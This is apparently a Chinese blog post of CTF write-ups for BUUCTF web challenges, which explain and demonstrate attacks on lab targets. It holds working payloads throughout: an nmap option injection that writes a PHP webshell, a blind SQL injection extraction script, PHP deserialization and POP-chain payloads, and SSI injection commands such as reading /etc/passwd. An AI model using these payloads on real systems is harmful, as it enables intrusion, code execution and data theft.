buuctf11

[网鼎杯 2020 朱雀组]Nmap

本题应该考察nmap的指令参数注入,记得之前有做个类似的题目:

1
2
3
host='<?=eval($_GET[a]);?> -oN flag.phtml '
' -iL /flag -oN flag.txt '

[MRCTF2020]PYWebsite

源码有个/flag.php 然后点进去看到说什么保存了购买者的ip,如果是购买者才能买,那就伪造一下IP,payload:

1
X-Forwarded-For: 127.0.0.1

[极客大挑战 2019]FinalSQL

盲注^符号进行绕过
学习一下二分法进行盲注,所以直接用网上大神的脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import re
import requests
import string

url = "http://bdd17c66-2f39-4c33-849e-abc1d04f19f2.node3.buuoj.cn/search.php"
flag = ''


def payload(i, j):
# 数据库名字
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res


def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)


exp()
print('flag=', flag)

学习一波,因为二分法的速度会快一倍!

flag跑了三次才正确?不懂为啥

[NPUCTF2020]ReadlezPHP

抓包看回显 有提示/time.php?source有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

构造一个反序列化函数就行了,

1

发现eval无法执行?可能是有过滤吧,
所以这里引入一个assert函数:assert函数

 功能是判断一个表达式是否成立,返回true or false,重点是函数会执行此表达式。如果表达式为函数如assert(“echo(1)”),则会输出1,而如果为assert(“echo 1;”)则不会有输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

#error_reporting(0);
class HelloPhp
{
public $a;
public $b;

public function __construct()
{
$this->a = "assert";
$this->b = "phpinfo()";
}

public function __destruct()
{
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}

$c = new HelloPhp;
print(serialize($c));

[BJDCTF2020]EasySearch

swp源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type:text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

hash碰撞小脚本绕过第一个判断:

1
2
3
4
5
6
7
import hashlib

for num in range(10000,9999999999):
res=hashlib.md5(str(num).encode()).hexdigest()
if res[0:6]=="6d0bc1":
print(str(num))
break

然后就直接用账号密码登录,抓包登录界面,就会发现一个文件网页链接:
img
可以看到旁边有个public啥的,点入就可以发现img

当然,这里用到一个新学的知识:

ssi注入

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

1.2 SSI语法

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

①显示服务器端环境变量<#echo>

本文档名称:

1
2
3
4
5
6
7
8
9
<!–#echo var="DOCUMENT_NAME"–>

现在时间:

<!–#echo var="DATE_LOCAL"–>

显示IP地址:

<! #echo var="REMOTE_ADDR"–>

②**将文本内容直接插入到文档中<#include>**

1
2
3
4
5
6
7
<! #include file="文件名称"–>

<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>

<!--#include virtual="/www/footer.html" -->

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

1
2
3
4
5
6
7
文件最近更新日期:

<! #flastmod file="文件名称"–>

文件的长度:

<!–#fsize file="文件名称"–>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

1
2
3
4
5
6
7
<!–#exec cmd="文件名称"–>

<!--#exec cmd="cat /etc/passwd"-->

<!–#exec cgi="文件名称"–>

<!--#exec cgi="/cgi-bin/access_log.cgi"–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

SSI挖掘思路

两个思路:

1.从业务场景来Fuzz,比如获取IP、定位、时间等
2.识别页面是否包含.stm,.shtm和.shtml后缀
这里是shtml后缀文件名,故思考是否存在ssi注入,发现用户名可控会被写入

1
2
3
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat /"-->
username=<!--#exec cmd="ls ../flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

pop链构造题:
有点无语,我在本地的时候可以成功拿到flag但是在网页就不行了??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Modifier{
public $var= "php://filter/read=convert.base64-encode/resource=flag.php";
}
class show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Modifier();
$b=new show();
$c=new Test();
$c->p=$a;
$b->str=$c;
$b->source=$b;
print(urlencode(serialize($b));
img

想了一下 好像是因为我的版本存在那个漏洞:**在php7.1+对类属性的检测不严格,所以可以用public来绕过 **
所以我用了public的时候才可以成功,然后这里新学了一种姿势:
如果是protect类型的话,其实可以在最后加一个urlencode来进行编码,这样输入进去的空白字符就会被url转码,在url中输入的时候也不会被吃掉:
payload:

1
2
O%3A4%3A%22show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

Author

vague huang

Posted on

2021-04-17

Updated on

2021-04-18

Licensed under

Comments